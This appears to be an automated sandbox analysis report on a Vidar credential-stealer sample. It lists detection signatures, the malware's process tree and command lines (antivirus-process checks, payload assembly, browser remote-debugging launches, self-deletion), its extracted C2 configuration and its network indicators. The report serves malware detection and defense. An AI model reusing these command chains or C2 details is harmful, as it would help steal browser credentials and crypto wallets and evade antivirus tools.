Edit tour

Windows Analysis Report
PodcastsTries.exe

Overview

General Information

Sample name:	PodcastsTries.exe
Analysis ID:	1580498
MD5:	20bef33e4a0add922ae043e2aed13ea2
SHA1:	4d0353be8234f56862b7ea7ece4ded3eeef91cbb
SHA256:	847c28adfa050608203f206d31cce27f1f27e89ab138908473c8c69ccf388ca2
Tags:	exeuser-Brad_malware
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Maps a DLL or memory area into another process

Monitors registry run keys for changes

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

PodcastsTries.exe (PID: 3744 cmdline: "C:\Users\user\Desktop\PodcastsTries.exe" MD5: 20BEF33E4A0ADD922AE043E2AED13EA2)

cmd.exe (PID: 4236 cmdline: "C:\Windows\System32\cmd.exe" /c move Assessing Assessing.cmd & Assessing.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1464 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6244 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 5344 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5176 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5756 cmdline: cmd /c md 680662 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 6500 cmdline: extrac32 /Y /E Memo MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 2024 cmdline: findstr /V "OBTAINING" Compensation MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6524 cmdline: cmd /c copy /b ..\Honey + ..\Biotechnology + ..\Enzyme + ..\Harvard T MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Billion.com (PID: 1396 cmdline: Billion.com T MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 2672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2236,i,6734849523328560890,2082883044191278633,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 3268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 1804 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2644,i,11626362328839299317,9747645851488831929,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 1268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2412,i,5564331809908688110,6573540988472131423,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7804 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\680662\Billion.com" & rd /s /q "C:\ProgramData\IMYUKNY5XBIE" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7856 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

choice.exe (PID: 6036 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

msedge.exe (PID: 2268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2740 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2052,i,17749502471063055911,16474361137930384879,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6524 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5864 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6356 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 728 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 5004 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 5664 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2541281715.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000003.2540896451.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.3327789976.0000000004110000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.3329936932.000000000446D000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2541052285.0000000004391000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Billion.com PID: 1396	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Billion.com PID: 1396	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Billion.com PID: 1396	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.Billion.com.4390000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.Billion.com.4390000.1.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x2068c:$str01: MachineID: 0x1f051:$str02: Work Dir: In memory 0x206c3:$str03: [Hardware] 0x20675:$str04: VideoCard: 0x1fce5:$str05: [Processes] 0x1fcf1:$str06: [Software] 0x1f1bb:$str07: information.txt 0x20398:$str08: %s\* 0x203e5:$str08: %s\* 0x1f5a2:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x1fb61:$str12: UseMasterPassword 0x206cf:$str13: Soft: WinSCP 0x2016e:$str14: <Pass encoding="base64"> 0x206b2:$str15: Soft: FileZilla 0x1f1ad:$str16: passwords.txt 0x1fb8c:$str17: build_id 0x1fc80:$str18: file_data

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Billion.com T, ParentImage: C:\Users\user\AppData\Local\Temp\680662\Billion.com, ParentProcessId: 1396, ParentProcessName: Billion.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 2672, ProcessName: chrome.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Assessing Assessing.cmd & Assessing.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4236, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 5176, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T19:27:49.377028+0100	2044247	1	Malware Command and Control Activity Detected	188.245.216.205	443	192.168.2.6	49818	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T19:27:51.679968+0100	2051831	1	Malware Command and Control Activity Detected	188.245.216.205	443	192.168.2.6	49824	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T19:27:47.008486+0100	2049087	1	A Network Trojan was detected	192.168.2.6	49812	188.245.216.205	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-24T19:27:44.693699+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.6	49806	188.245.216.205	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 85.0% probability

Source: PodcastsTries.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.216.205:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50110 version: TLS 1.2

Source: PodcastsTries.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\PodcastsTries.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0019DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_0019DC54
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001AA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_001AA087
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001AA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_001AA1E2
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0019E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	12_2_0019E472
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001AA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	12_2_001AA570
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0016C622 FindFirstFileExW,	12_2_0016C622
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001A66DC FindFirstFileW,FindNextFileW,FindClose,	12_2_001A66DC
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001A7333 FindFirstFileW,FindClose,	12_2_001A7333
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001A73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	12_2_001A73D4
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0019D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_0019D921

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\680662	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\680662\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.6:49812 -> 188.245.216.205:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 188.245.216.205:443 -> 192.168.2.6:49824
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.6:49806 -> 188.245.216.205:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 188.245.216.205:443 -> 192.168.2.6:49818

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199809363512

Source: global traffic

HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 20.189.173.2 20.189.173.2
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.118.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 44.206.23.126
Source: unknown	TCP traffic detected without corresponding DNS query: 44.206.23.126
Source: unknown	TCP traffic detected without corresponding DNS query: 52.222.144.19
Source: unknown	TCP traffic detected without corresponding DNS query: 54.230.112.123
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 54.230.112.123
Source: unknown	TCP traffic detected without corresponding DNS query: 52.222.144.19
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001AD889 InternetReadFile,SetEvent,GetLastError,SetEvent,

12_2_001AD889

Source: global traffic	HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: bijutr.shopConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
